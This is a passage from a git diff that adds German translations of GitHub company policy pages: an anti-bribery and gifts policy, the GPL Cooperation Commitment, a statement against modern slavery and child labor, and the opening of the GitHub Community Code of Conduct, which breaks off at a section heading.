+>Sie dürfen zu keinem Zeitpunkt Zahlungen oder andere wertvolle Leistungen an jegliche Personen – einschließlich Personen in Macht- oder Autoritätspositionen, wie z. B. Regierungsbeamte oder bei kommerziellen Transaktionen – vornehmen, versprechen oder veranlassen, um ein Geschäft abzuschließen oder aufrechtzuerhalten oder um sich einen anderen unangemessenen Vorteil für GitHub oder Microsoft zu sichern. Sie dürfen auch keine Bestechungsgelder, Schmiergelder oder andere unzulässige Barzahlungen verlangen oder annehmen. ... [GitHub Mitarbeiter] sind verpflichtet, genaue und faire Aufzeichnungen über alle Transaktionen zu führen, die Ausgaben beinhalten, die im Namen von GitHub getätigt wurden – beispielsweise durch das Aufbewahren von Quittungen und das Bereitstellen genauer Beschreibungen Ihrer Ausgaben – sowie alle anderen Transaktionen, die die Veräußerung oder Übertragung von GitHub Vermögenswerten beinhalten. Solche Maßnahmen werden vom US Foreign Corrupt Practices Act, dem UK Bribery Act of 2010 und den Antikorruptionsgesetzen anderer Rechtsordnungen, in denen GitHub geschäftlich tätig ist, verlangt und sind moralisch verpflichtend.
+
+Der Ethikkodex von GitHub geht auf bestimmte Szenarien genauer ein, darunter Geschenke, Reisen und Bewirtung, die Abwicklung von Zahlungen, Spenden für wohltätige Zwecke, die Vergabe von Arbeitsplätzen und die Zusammenarbeit mit Vertretern sowie darüber, wer als Regierungsbeamter gilt.
+
+Unsere Verhaltensstandards verbieten:
+>Bestechung von Regierungsbeamten oder anderen Personen, um sich einen unfairen Vorteil zu verschaffen, und Annahme von Bestechungsgeldern von jeglichen Personen.
+
+Sowohl Bargeld und Bargeldäquivalente jeglicher Art, als auch alle anderen Werte dürfen nicht vergeben werden (einschließlich an Beamte, Regierungsbeamte oder Personen in Macht- oder Autoritätspositionen sowie Personen, die in keiner dieser Positionen stehen), um diese Personen zu beeinflussen, oder angenommen werden, um GitHub zu beeinflussen. Solche Aktivitäten sind durch den US Foreign Corrupt Practices Act und die UK Anti-Bribery-Gesetze verboten, welche die Handlungen von GitHub weltweit regeln.
+
+## Beispiele für akzeptable und inakzeptable Geschenke
+Was bedeutet „wertvoll“? Denken Sie daran, dass für Regierungsbeamte keinerlei Geschenke akzeptabel sind (ok, vielleicht Aufkleber). Sie sollten sie immer fragen, was ihre Richtlinien erlauben und verbieten. Aber im Zweifelsfall wenden Sie sich bitte an die Rechtsabteilung, um sicher zu gehen. Zum Beispiel ist es für viele US-Kongressabgeordnete nicht akzeptabel, sich zu einem gemeinsamen Abendessen einladen zu lassen.
+
+Für die einen Kunden oder potenziellen Kunden mögen bestimmte Dinge trivial erscheinen, aber für jemand anderen einen großen Wert haben. Auch wenn es aus Ihrer Sicht zum Beispiel keine große Sache zu sein scheint, die Tochter Ihres Freundes als Praktikantin einzustellen, könnte es für sie von großem Wert sein. Aber wenn sie nicht qualifiziert ist und Sie die Regeln umgehen, um ihr einen Platz zu sichern, ist das nicht angemessen. Wenn die Absicht besteht, unangemessen Einfluss zu nehmen, kann außerdem alles, auch wenn es noch so klein ist, als „wertvoll“ angesehen werden.
+
+🙅 _Hier sind einige andere Beispiele für Dinge, die nicht in Ordnung sind:_
+
+- Flugticket erster Klasse zu den Standorten von GitHub für Executive Briefings ✈️+🍾
+- Weingut-Touren 🍷
+- Das Kind eines Freundes zur Aufnahme in eine angesehene Privatschule empfehlen 🎓
+- Eintrittskarten für Disneyland 👸, die WM 🥅, die Olympischen Spiele 🏅
+- Ein Fußball ⚽️ signiert von einem berühmten Spieler
+- Ein Beitrag für eine Wohltätigkeitsorganisation
+
+🙆 _Hier sind einige Dinge, die für Kunden oder potenzielle Kunden für gewöhnlich in Ordnung sind:_
+
+- Werbegeschenke
+- Flug in der Economy Klasse zu GitHub Büros für ein Executive Briefing ✈️
+- Tribünentickets für eine Sportveranstaltung ⚾️
+- Ein preiswertes Abendessen in der Stadt 🍽
+- Eine kleine Schachtel Pralinen als Dankeschön zum Jahresende 🍫
+
+Alle oben genannten Punkte gelten auch für die _Annahme_ von Bestechungsgeldern. Wenn Ihnen also ein Anbieter oder potenzieller Anbieter etwas „wertvolles“ zuschickt, nehmen Sie es nicht an – oder lassen Sie es zumindest von der Rechtsabteilung überprüfen, bevor Sie es annehmen.
+
+## Prozess
+Wenn Sie vorhaben, ein informelles Geschenk zu machen oder anzunehmen (das nicht zu unseren Werbeartikeln wie T-Shirts und Aufklebern gehört), befolgen Sie bitte unbedingt das nachstehende Verfahren.
+
+Denken Sie daran, dass die akzeptable Menge variieren kann. Beispielsweise kann es in einigen Ländern als viel Geld angesehen werden, $50 für ein Abendessen auszugeben, in anderen Ländern jedoch eher nicht. Also im Zweifelsfall besser nachfragen!
+
+1. Im Allgemeinen benötigen Sie für Ausgaben, die $150 übersteigen, (jedes Mal) eine schriftliche Genehmigung der Rechtsabteilung. Und für alle Geschenke, die Sie erhalten, die $150 überschreiten, müssen Sie dies (jedes Mal) der Rechtsabteilung schriftlich melden. (Die Rechtsabteilung prüft nur den Aspekt der Bestechung. Möglicherweise müssen Sie sich aus anderen Gründen noch mit der Finanzabteilung beraten.)
+
+2. Wenn Sie Ihre Spesenabrechnung zur Erstattung einreichen, gehen Sie bitte wie folgt vor:
+     - Geben Sie den Empfänger und den Zweck des Geschenks in den Anmerkungen an und
+     - fügen Sie eine Kopie der schriftlichen Genehmigung (E-Mail) bei
+
+## Konsequenzen
+Was passiert, wenn Sie die Richtlinie nicht befolgen und GitHub am Ende dafür bezahlt, dass ein potenzieller Kunde und seine Familie in der ersten Klasse nach Japan fliegen und an den Olympischen Spielen in Tokio teilnehmen? Oder wenn Sie einen Koffer voller Geld für einen Regierungsbeamten in einem vorab eingerichteten Schließfach am Bahnhof abgeben?
+
+GELDSTRAFEN und GEFÄNGNIS. Und nicht unbedingt nur für GitHub. Es könnte auch passieren, dass Sie selbst eine mehrjährige Gefängnisstrafe erhalten, und es spielt dabei keine Rolle, ob der Kunde nach seiner Reise nach Japan überhaupt eine Bestellung bei GitHub aufgegeben hat oder ob der Regierungsbeamte den Koffer mit Bargeld jemals abgeholt hat. Im Grunde ist es egal, ob Sie tatsächlich _erfolgreich_ mit der Bestechung waren. Anders als bei Yoda zählt hier schon der Versuch.
+
+## Weitere Informationen
+Weitere Informationen und Hintergründe zu Regeln, Durchsetzung und Strafen finden Sie beim US-Justizministerium: Der [Ressourcenleitfaden zum US Foreign Corrupt Practices Act](https://www.justice.gov/sites/default/files/criminal-fraud/legacy/2015/01/16/guide.pdf) ist eine hervorragende Ressource.
diff --git a/translations/de-DE/content/site-policy/github-company-policies/github-gpl-cooperation-commitment.md b/translations/de-DE/content/site-policy/github-company-policies/github-gpl-cooperation-commitment.md
new file mode 100644
index 0000000000..7fdf0f6c80
--- /dev/null
+++ b/translations/de-DE/content/site-policy/github-company-policies/github-gpl-cooperation-commitment.md
@@ -0,0 +1,42 @@
+---
+title: GitHub GPL Kooperationsverpflichtung
+redirect_from:
+  - /articles/github-gpl-cooperation-commitment
+  - /github/site-policy/github-gpl-cooperation-commitment
+versions:
+  fpt: '*'
+topics:
+  - Policy
+  - Legal
+ms.openlocfilehash: d48a18256fab3ba4064123ef7b7ff9cdba11b9e8
+ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 08/29/2022
+ms.locfileid: '144556556'
+---
+Diese Verpflichtung bezieht sich auf GitHub Beiträge zu Git, dem Linux Kernel und anderen Programmen unter Covered License (scrollen Sie bis zum Ende für Definitionen).
+
+Wir stützen unsere Erklärung auf die [Vorlage](https://github.com/gplcc/gplcc/blob/master/Company/GPL%20Cooperation%20Commitment-Company-Template.md) für Unternehmen. Siehe die [Webseite zur GPL Kooperationsverpflichtung](https://gplcc.github.io/gplcc/) dazu, wie andere Unternehmen, Einzelpersonen und Projekte diese Verpflichtung übernehmen können.
+
+## Unsere Verpflichtung
+
+Vor der Einleitung oder Fortsetzung der Verfolgung von Klagen oder Ansprüchen (außer einer Abwehrmaßnahme), die sich aus der Kündigung einer Covered License ergeben, verpflichtet sich GitHub, der natürlichen oder juristischen Person („Sie“), die beschuldigt wird, die Covered License verletzt zu haben, die folgenden Mittel zur Behebung und Wiederherstellung zu übermitteln – entnommen aus GPL Version 3. Wie hier verwendet, bezieht sich der Begriff „diese Lizenz“ auf die spezifische Covered License, die durchgesetzt wird.
+
+Wenn Sie jedoch jegliche Verletzung dieser Lizenz einstellen, wird Ihre Lizenz von einem bestimmten Urheberrechtsinhaber (a) vorläufig wiederhergestellt, bis der Urheberrechtsinhaber Ihre Lizenz ausdrücklich und endgültig kündigt, und (b) dauerhaft wiederhergestellt, wenn der Urheberrechtsinhaber es versäumt, Sie vor Ablauf von 60 Tagen nach Beendigung mit angemessenen Mitteln über die Verletzung zu informieren.
+
+Darüber hinaus wird Ihre Lizenz von einem bestimmten Urheberrechtsinhaber dauerhaft wiederhergestellt, wenn der Urheberrechtsinhaber Sie auf angemessene Weise über die Verletzung informiert, dies das erste Mal ist, dass Sie von diesem Urheberrechtsinhaber eine Benachrichtigung über eine Verletzung dieser Lizenz (in Bezug auf alle Projekte) erhalten, und Sie den Verstoß innerhalb von 30 Tagen nach Erhalt der Mitteilung beheben.
+
+GitHub beabsichtigt, dass diese Verpflichtung unwiderruflich, bindend und durchsetzbar gegenüber GitHub und Abtretungsempfängern oder Rechtsnachfolgern von GitHubs Urheberrechten ist.
+
+GitHub kann diese Verpflichtung durch Veröffentlichung einer neuen Ausgabe auf dieser Seite oder einem Nachfolgestandort verändern.
+
+Definitionen
+
+„Covered License“ bezeichnet die GNU General Public License, Version 2 (GPLv2), die GNU Lesser General Public License, Version 2.1 (LGPLv2.1) oder die GNU Library General Public License, Version 2 (LGPLv2), alle wie veröffentlicht von der Free Software Foundation.
+
+„Abwehrmaßnahme“ bezeichnet ein Gerichtsverfahren oder einen Anspruch, den GitHub als Reaktion auf ein vorheriges Verfahren oder einen Anspruch, der von Ihnen oder Ihrem verbundenen Unternehmen eingeleitet wurde, gegen Sie erhebt.
+
+„GitHub“ bezeichnet GitHub, Inc. und ihre Tochtergesellschaften.
+
+Dieses Werk ist unter einer Creative Commons Attribution-ShareAlike 4.0 International Lizenz verfügbar.
diff --git a/translations/de-DE/content/site-policy/github-company-policies/github-statement-against-modern-slavery-and-child-labor.md b/translations/de-DE/content/site-policy/github-company-policies/github-statement-against-modern-slavery-and-child-labor.md
new file mode 100644
index 0000000000..88a7d6629f
--- /dev/null
+++ b/translations/de-DE/content/site-policy/github-company-policies/github-statement-against-modern-slavery-and-child-labor.md
@@ -0,0 +1,116 @@
+---
+title: GitHub Erklärung gegen moderne Sklaverei und Kinderarbeit
+redirect_from:
+  - /articles/github-statement-against-modern-slavery-and-child-labor
+  - /github/site-policy/github-statement-against-modern-slavery-and-child-labor
+versions:
+  fpt: '*'
+topics:
+  - Policy
+  - Legal
+ms.openlocfilehash: ac0cd2da67f8cc9158709e17e16084aea7cf33b1
+ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 08/29/2022
+ms.locfileid: '144556593'
+---
+*2018 Erklärung*
+
+Nach Angaben der Internationalen Arbeitsorganisation (ILO) waren 2016 weltweit [40 Millionen Menschen Opfer moderner Sklaverei, und 152 Millionen Kinder waren Kinderarbeit ausgesetzt](https://www.ilo.org/global/about-the-ilo/newsroom/news/WCMS_574717/lang--en/index.htm). Laut der [ILO](https://www.ilo.org/global/topics/forced-labour/lang--en/index.htm):
+   - ist eines von 4 Opfern moderner Sklaverei ein Kind.
+   - Von den 24,9 Millionen Menschen, die von Zwangsarbeit betroffen sind, werden 16 Millionen im privaten Sektor ausgebeutet, z. B. als Hausangestellte, im Baugewerbe oder in der Landwirtschaft. 4,8 Millionen Menschen sind von sexueller Ausbeutung betroffen und 4 Millionen von Zwangsarbeit, die von staatlichen Behörden angeordnet wird.
+   -    Frauen und Mädchen sind in unverhältnismäßig hohem Maße von Zwangsarbeit betroffen und machen 99 % der Opfer in der kommerziellen Sexindustrie und 58 % in anderen Sektoren aus.
+
+GitHub bedauert das Vorhandensein und Fortbestehen von moderner Sklaverei und Kinderarbeit und nimmt seine Verantwortung, dafür zu sorgen, dass weder moderne Sklaverei noch Kinderarbeit in seiner Lieferkette oder in irgendeinem Teil seines Geschäfts stattfindet, sehr ernst. („Moderne Sklaverei“ in dieser Erklärung bezieht sich auf Sklaverei, Zwangs- oder Pflichtarbeit, Menschenhandel, Leibeigenschaft und Arbeiter, die inhaftiert, verpflichtet oder gebunden sind. „Kinderarbeit” bezieht sich auf Arbeit, die von einer Person unter 16 Jahren oder unter 14 Jahren für leichte Arbeiten verrichtet wird, vorausgesetzt, sie ist nicht auf Zeiten beschränkt, die den Schulbesuch des Kindes beeinträchtigen, und nicht unter Bedingungen, die die Gesundheit oder das Wohlbefinden des Kindes beeinträchtigen).
+
+Gemäß dem [UK Modern Slavery Act](https://www.legislation.gov.uk/ukpga/2015/30/section/54/enacted) und in Übereinstimmung mit dem [ILO 2014 Protocol to its Forced Labour Convention](https://www.ilo.org/dyn/normlex/en/f?p=NORMLEXPUB:12100:0::NO::P12100_ILO_CODE:P029), der [ILO Declaration on Fundamental Principles and Rights at Work](https://www.ilo.org/declaration/thedeclaration/textdeclaration/lang--en/index.htm) und dem [United Nations Sustainable Development Goals target 8.7](https://www.unodc.org/roseap/en/sustainable-development-goals.html#:~:text=Target%208.7%20%2D%20Take%20immediate%20and,labour%20in%20all%20its%20forms), beschreibt diese Erklärung gegen moderne Sklaverei und Kinderarbeit von 2018 („die Erklärung”) die Schritte, die GitHub unternommen hat, um moderne Sklaverei und Kinderarbeit in seinem Geschäft oder seiner Lieferkette zu verhindern.
+
+## Struktur, Geschäft und Lieferketten von GitHub
+
+GitHub ist eine Software-Entwicklungsplattform mit Hauptsitz in San Francisco und Mitarbeitern und Auftragnehmern, die in zahlreichen Ländern tätig sind.
+
+Alle GitHub Mitarbeiter und einzelne unabhängige Auftragnehmer arbeiten freiwillig und können jederzeit kündigen. GitHub verfügt über eine weitgehend verteilte Belegschaft und ist bestrebt, seinen Mitarbeitern und Auftragnehmern unabhängig vom Standort eine wettbewerbsfähige Vergütung und Leistungen zu bieten. Dies gilt unabhängig davon, ob wir unabhängige Auftragnehmer direkt oder über einen Vermittler beauftragen.
+
+GitHub betreibt keine Fertigung, produziert keine Hardware und setzt keine Personalvermittlungsagenturen für die Art von Dienstleistungen ein, die häufig von Wanderarbeitnehmern erbracht werden. GitHub ist durch seine Geschäftstätigkeit keinen plötzlichen Änderungen der Arbeitsbelastung oder des Preisdrucks ausgesetzt, die häufig die Nachfrage nach Praktiken steigern, die das Risiko von Zwangsarbeit in Lieferketten erhöhen, wie etwa erzwungene Überstunden.
+
+GitHub bietet Kunden auf der ganzen Welt kostenlose und kostenpflichtige Software sowie webbasierte Software-as-a-Service an. Zu den Produkten von GitHub gehören:
+   - GitHub.com: webbasierte Zusammenarbeits- und Code-Hosting-Plattform
+   - GitHub Enterprise: On-Premise Zusammenarbeits- und Code-Hosting-Software
+   - Atom: Texteditor
+   - Elektron: Framework zum Schreiben von plattformübergreifenden Desktop-Apps
+   - GitHub Desktop: Desktop-App für den Zugriff auf GitHub.com und GitHub Enterprise
+
+Die Lieferkette von GitHub besteht aus Waren und Dienstleistungen für unsere Produkte und Betriebe, darunter Computerdienste, Veranstaltungsplanung, Kauf von Einzelhandels- und Werbeartikeln, Büromaterial und Leasing von Einrichtungen wie Büroflächen und Rechenzentren.
+
+## Richtlinien in Bezug auf moderne Sklaverei und Kinderarbeit
+
+### Moderne Sklaverei und Kinderarbeit
+
+Der **Verhaltenskodex von GitHub** verbietet es, moderne Sklaverei (Sklaverei, Zwangs- oder Pflichtarbeit, Menschenhandel, Leibeigenschaft, Gefangenschaft, Schuldknechtschaft oder Schuldknechtschaft) oder Kinderarbeit in seiner Geschäftstätigkeit wissentlich anzuwenden, sich daran zu beteiligen, diese zu unterstützen oder zu tolerieren. Jeder Mitarbeiter oder Auftragnehmer von GitHub, der gegen dieses Verbot verstößt, muss mit der Beendigung des Arbeitsverhältnisses oder der Geschäftsbeziehung rechnen.
+
+Die **Verhaltensnormen von GitHub** verbieten unsichere und illegale Verhaltensweisen, einschließlich der wissentlichen Nutzung, Beteiligung, Unterstützung oder Duldung moderner Sklaverei (Sklaverei, Zwangs- oder Pflichtarbeit, Menschenhandel, Leibeigenschaft oder Arbeiter, die in Gefangenschaft, Schuldknechtschaft oder Schuldknechtschaft gehalten werden) oder Kinderarbeit.
+
+GitHub hält sich an Gesetze, die Menschenhandel und Kinderarbeit in den Ländern verbieten, in denen das Unternehmen tätig ist, einschließlich der [U.S. Federal Acquisition Regulation 22.17 on combatting human trafficking](https://www.govinfo.gov/content/pkg/CFR-2009-title48-vol1/pdf/CFR-2009-title48-vol1-part22-subpart22-17.pdf).
+
+Darüber hinaus ist GitHub eine Partnerschaft mit dem FairHotel Programm eingegangen, was bedeutet, dass GitHub seine Mitarbeiter dazu ermutigt, von FairHotel unterstützte Hotels zu wählen, in denen die Beschäftigten faire Löhne, angemessene Sozialleistungen und ein Mitspracherecht am Arbeitsplatz erhalten. FairHotel Partner zu sein bedeutet auch, dass GitHub Hotels als fairer Arbeitgeber unterstützt.
+
+In Zukunft wird GitHub diese Erklärung allen Mitarbeitern, Auftragnehmern und Lieferanten, einschließlich Personalvermittlern und Arbeitsagenturen, übermitteln. Darüber hinaus entwickelt GitHub Schulungen über moderne Sklaverei und Kinderarbeit, die für alle GitHub Mitarbeiter verpflichtend sind. GitHub [veröffentlicht seine Erklärung Gegen Moderne Sklaverei und Kinderarbeit](/articles/github-statement-against-modern-slavery-and-child-labor), sodass sie für jeden einsehbar ist.
+
+GitHub hat eine Richtlinie gegen Vergeltungsmaßnahmen für das Melden von arbeitsplatzbezogenen Bedenken. In Übereinstimmung mit dieser Erklärung ermöglicht GitHub Mitarbeitern und Auftragnehmern, Probleme in Bezug auf moderne Sklaverei und Kinderarbeit ohne Angst vor Vergeltungsmaßnahmen zu melden.
+
+## Arbeitsgesetze und -praktiken
+
+Die Arbeitspraktiken von GitHub sind
+
+**fair**:
+   - GitHub zahlt seinen Mitarbeitern und Vertragspartnern einen fairen Lohn, der sich an den geltenden gesetzlichen Bestimmungen orientiert
+   - GitHub sorgt für menschenwürdige Arbeitsbedingungen
+   - GitHub verlangt von Arbeitern nicht, dass sie die Höchststundenanzahl für einen Arbeitstag, die durch die vor Ort und auf nationaler Ebene geltenden Gesetze und Regelungen festgelegt wurde, überschreiten.
+   - GitHub bezahlt seine Mitarbeiter und Auftragnehmer pünktlich und unter Bereitstellung von Unterlagen (z. B. Gehaltsabrechnungen), aus denen hervorgeht, auf welcher Grundlage sie bezahlt werden, und bewahrt die Mitarbeiterunterlagen in Übereinstimmung mit den lokalen und nationalen Gesetzen auf
+
+**menschlich und ethisch korrekt**:
+   - GitHub stellt ausschließlich Mitarbeiter ein, die auf freiwilliger Basis tätig sind
+   - GitHub verbietet Kinderarbeit
+   - GitHub toleriert keine körperliche Züchtigung oder Misshandlung.
+   - GitHub toleriert keine Belästigung oder rechtswidrige Diskriminierung in der Belegschaft oder am Arbeitsplatz
+
+**respektvoll**:
+   - GitHub schützt die Rechte seiner Mitarbeiter auf Vereinigungsfreiheit und Kollektivverhandlungen in Übereinstimmung mit den gesetzlichen Anforderungen und veröffentlicht Hinweise auf die Rechte der Mitarbeiter gemäß dem National Labor Relations Act
+   - GitHub bietet seinen Mitarbeitern Leistungen, die mindestens dem in der Branche üblichen Niveau entsprechen
+   - GitHub ermutigt Mitarbeiter, Beschwerden am Arbeitsplatz zu melden, und toleriert keine Vergeltungsmaßnahmen für derartige Meldungen
+
+## Due-Diligence-Prozesse in Bezug auf moderne Sklaverei und Kinderarbeit in seinen Geschäfts- und Lieferketten
+
+GitHub prüft sein Geschäft und seine Lieferkette auf Risiken im Zusammenhang mit moderner Sklaverei und Kinderarbeit. GitHub hat sich auf internes und externes Fachwissen im Bereich der Menschenrechte gestützt und eine funktionsübergreifende Analyse durchgeführt (einschließlich Politik, Recht, Beschaffung, Finanzen und Betrieb, insbesondere Personalwesen), um festzustellen, wo in seinem Unternehmen und seiner Lieferkette Arbeitsleistungen erbracht werden und um potenzielle Risiken im Zusammenhang mit moderner Sklaverei und Kinderarbeit zu ermitteln. GitHub priorisiert Bereiche, in denen diese Risiken aufgrund ihrer Schwere, ihres Ausmaßes oder ihrer Wahrscheinlichkeit eine größere Sorgfaltspflicht, Überwachung und Überprüfung erfordern. GitHub prüft weiterhin, wo Risiken auftreten können und wie man sie angeht. Darüber hinaus lässt sich GitHub nun von seinen Zulieferern versichern, dass sie Praktiken anwenden, die mit dieser Erklärung übereinstimmen, einschließlich der Einhaltung von Gesetzen in Bezug auf moderne Sklaverei oder Kinderarbeit.
+
+## Bereiche in den Geschäfts- und Lieferketten von GitHub, in denen das Risiko moderner Sklaverei und Kinderarbeit besteht, und Schritte, die GitHub unternommen hat, um dieses Risiko zu bewerten und zu steuern
+
+GitHub hat keine risikoreichen Zulieferer identifiziert. Moderne Sklaverei oder Kinderarbeit ist jedoch wahrscheinlicher bei Anbietern von Dienstleistungen, die manuelle Arbeit enthalten, wie z. B. Event-Support, Bauarbeiten, Facility Services und Lebensmitteldienstleistungen. GitHub führt Audits bei seinen vorhandenen Lieferanten durch und fordert von Lieferanten, die in Bereichen mit höherem Risiko tätig sind, eine Bestätigung an, dass ihre Dienstleistungen im Einklang mit dieser Erklärung stehen.
+
+Obwohl GitHub keine Kenntnis von tatsächlicher oder angeblicher moderner Sklaverei oder Kinderarbeit in seinem Unternehmen oder seiner Lieferkette hat und keine Grundlage für die Annahme hat, dass dies der Fall ist, verpflichtet sich GitHub, für Abhilfe zu sorgen, falls GitHub selbst direkt moderne Sklaverei oder Kinderarbeit verursachen sollte, und breitere Muster der Nichteinhaltung dieser Erklärung zu beheben, die durch Mängel in den Systemen oder Prozessen von GitHub verursacht werden. Die Wiedergutmachung von GitHub für einzelne Opfer würde Protokolle für angemessene Sofortmaßnahmen zur Beseitigung der modernen Sklaverei und der Kinderarbeit sowie Ressourcen für angemessene und geeignete Opferdienste umfassen, die den erlittenen Schaden ausgleichen sollen.
+
+## Effektive Verhinderung von moderner Sklaverei noch Kinderarbeit in den Geschäfts- und Lieferketten von GitHub
+
+GitHub hält sich an die Gesetze in Bezug auf moderne Sklaverei und Kinderarbeit und wird dies auch weiterhin tun.
+
+In Zukunft verlangt GitHub von seinen Zulieferern die Einhaltung dieser Erklärung sowie von Gesetzen in Bezug auf moderne Sklaverei und Kinderarbeit. GitHub verlangt nun auch von seinen Lieferanten:
+   - keine moderne Sklaverei oder Kinderarbeit anzuwenden, daran teilnehmen, sie zu unterstützen oder zu tolerieren
+   - keine irreführenden oder betrügerischen Praktiken bei der Anwerbung oder Einstellung von Mitarbeitern oder Vertragsarbeitern anzuwenden
+   - keine Rekrutierungs- oder Einstellungsgebühren von Mitarbeitern oder Vertragsarbeitern zu verlangen
+   - den Reisepass, den Führerschein oder andere Ausweisdokumente nicht zu zerstören, zu verbergen, zu beschlagnahmen oder einem Angestellten oder einem Vertragsarbeiter anderweitig den Zugang zu diesen Dokumenten zu verweigern;
+   - uns die Möglichkeit zu geben, unsere Verträge mit ihnen zu kündigen, wenn sie gegen ihre Verpflichtungen in Bezug auf moderne Sklaverei oder Kinderarbeit verstoßen; und
+   - alle Schäden zu beheben, die einem Arbeitnehmer zugefügt wurden, der nachweislich einer Form der modernen Sklaverei oder Kinderarbeit ausgesetzt war, sofern dies gesetzlich vorgeschrieben ist.
+
+Darüber hinaus ermutigt GitHub seine Lieferanten nachdrücklich dazu:
+   - Sorgfaltsprüfungen gegen moderne Sklaverei und Kinderarbeit, einschließlich Risikobewertungen, für ihre Lieferanten durchzuführen;
+   - Schritte zu unternehmen, um identifizierte Risiken anzugehen; und
+   - gegenüber ihren Lieferanten ähnliche Bestimmungen gegen moderne Sklaverei und Kinderarbeit anzuwenden.
+
+Die Beschaffungsanweisungen von GitHub für Mitarbeiter, die Einkäufe für das Unternehmen tätigen, enthalten nun einen Verweis auf die Anforderung an Lieferanten, den Verhaltenskodex für Lieferanten von Microsoft oder diese Erklärung einzuhalten.
+
+## Schulungen für Mitarbeiter von GitHub zu moderner Sklaverei und Menschenhandel
+
+GitHub entwickelt Schulungen zu moderner Sklaverei und Kinderarbeit, die für alle Mitarbeiter im Hinblick auf das Geschäft und die Lieferkette von GitHub obligatorisch sein werden. GitHub wird Lieferanten, die Dienstleistungen anbieten, die mit manueller Arbeit verbunden sind, wie z. B. Unterstützung bei Veranstaltungen, Bauarbeiten, Gebäudedienstleistungen und Lebensmitteldienstleistungen, als Bereiche mit größerem Risikopotenzial hervorheben.
+
+Der **Vorstand von GitHub hat [diese Erklärung](/assets/images/help/site-policy/github-statement-against-modern-slavery-and-child-labor.pdf) genehmigt.**
diff --git a/translations/de-DE/content/site-policy/github-company-policies/index.md b/translations/de-DE/content/site-policy/github-company-policies/index.md
new file mode 100644
index 0000000000..0c7a55f543
--- /dev/null
+++ b/translations/de-DE/content/site-policy/github-company-policies/index.md
@@ -0,0 +1,20 @@
+---
+title: GitHub Unternehmensrichtlinien
+versions:
+  fpt: '*'
+topics:
+  - Policy
+  - Legal
+children:
+  - /github-statement-against-modern-slavery-and-child-labor
+  - /github-anti-bribery-statement
+  - /github-gpl-cooperation-commitment
+  - /github-gifts-and-entertainment-policy
+ms.openlocfilehash: f2d44e73fb8ecfc594d366de5baba0dab929f5c5
+ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 08/29/2022
+ms.locfileid: '144556524'
+---
+
diff --git a/translations/de-DE/content/site-policy/github-terms/github-community-code-of-conduct.md b/translations/de-DE/content/site-policy/github-terms/github-community-code-of-conduct.md
new file mode 100644
index 0000000000..1fe09ca9d2
--- /dev/null
+++ b/translations/de-DE/content/site-policy/github-terms/github-community-code-of-conduct.md
@@ -0,0 +1,123 @@
+---
+title: Verhaltenskodex für die GitHub Community
+redirect_from:
+  - /articles/github-community-forum-code-of-conduct
+  - /github/site-policy/github-community-forum-code-of-conduct
+  - /github/site-policy/acceptable-use-policies/github-community-forum-code-of-conduct
+  - /site-policy/github-terms/github-community-forum-code-of-conduct
+versions:
+  fpt: '*'
+topics:
+  - Policy
+  - Legal
+ms.openlocfilehash: 72b487e302242e4809cd267dc10e7041e7e21d8d
+ms.sourcegitcommit: d298d354a4585e6c154f2a8428aebb214d49e2a1
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/07/2022
+ms.locfileid: '147858668'
+---
+## Überblick und Zweck
+
+Millionen von Entwicklern auf der ganzen Welt hosten auf GitHub Millionen von Projekten – sowohl Open als auch Closed Source. Wir haben das Glück, jeden Tag an der Ermöglichung der Zusammenarbeit in der Entwickler-Community mitzuwirken – eine Verantwortung, die wir nicht auf die leichte Schulter nehmen. Gemeinsam haben wir alle die spannende Gelegenheit, dies zu einer Community zu machen, auf die wir stolz sein können.
+
+Die GitHub Community, unterstützt von GitHub Discussions, soll ein Ort für weitere Zusammenarbeit, Unterstützung und Brainstorming sein. Dies ist ein zivilisierter Ort, um mit anderen Nutzern in Kontakt zu treten, neue Fähigkeiten zu erlernen, Feedback und Ideen auszutauschen und all die Unterstützung zu finden, die Sie für Ihre GitHub-Projekte benötigen. Durch die Teilnahme an der GitHub Community stimmen Sie den [ Nutzungsbedingungen](/github/site-policy/github-terms-of-service/) und den [Richtlinien zur akzeptablen Nutzung von GitHub](/github/site-policy/github-acceptable-use-policies) zu, die für GitHub.com gelten, sowie diesen für die GitHub Community spezifischen Verhaltensregeln.
+
+Mit diesen Verhaltensregeln möchten wir Ihnen verdeutlichen, wie Sie am besten in der GitHub Community zusammenarbeiten, was Sie von Moderatoren erwarten können und welche Art von Aktionen oder Inhalten zu einer vorübergehenden oder dauerhaften Aussetzung der Teilnahme an der Community führen können. Wir untersuchen alle Missbrauchsmeldungen und moderieren ggf. öffentliche Inhalte innerhalb der GitHub Community, die unserer Meinung nach entweder gegen die GitHub-Vertragsbedingungen oder diese Verhaltensregeln verstoßen.
+
+Unsere vielfältige Nutzerbasis bringt unterschiedliche Perspektiven, Ideen und Erfahrungen mit und reicht von Menschen, die letzte Woche ihr erstes „Hello World“-Projekt erstellt haben, bis zu den bekanntesten Softwareentwicklern der Welt. Wir sind bestrebt, GitHub zu einer Umgebung zu machen, die all die verschiedenen Stimmen und Perspektiven unserer Community willkommen heißt und gleichzeitig einen sicheren Ort für Entwickler bietet, an dem sie ihre beste Arbeit leisten können.
+
+## Versprechen
+
+Da wir ein offenes und freundliches Umfeld fördern möchten, verpflichten wir uns als Mitwirkende und Betreiber, die Teilnahme an der GitHub Community zu einer belästigungsfreien Erfahrung für alle zu machen, unabhängig von Alter, Körpergröße, Behinderung, ethnischer Zugehörigkeit, Geschlechtsidentität und -ausdruck, Erfahrungsniveau, Nationalität, persönlichem Erscheinungsbild, ethnischer Herkunft, Religion oder sexueller Identität und Orientierung.
+
+## Standards
+
+Behandeln Sie die GitHub Community mit Respekt. Wir sind eine gemeinsam genutzte Ressource – ein Ort, an dem Fähigkeiten, Wissen und Interessen durch kontinuierliche Dialoge geteilt werden.
+
+Im Folgenden finden Sie keine festen Regeln, sondern lediglich Hilfsmittel für das Urteilsvermögen unserer Gemeinschaft. Nutzen Sie diese Richtlinien, damit dies ein sauberer, transparenter Ort für einen zivilisierten öffentlichen Diskurs bleibt.
+
+### *Best Practices für die Aufrechterhaltung einer starken Community*
+
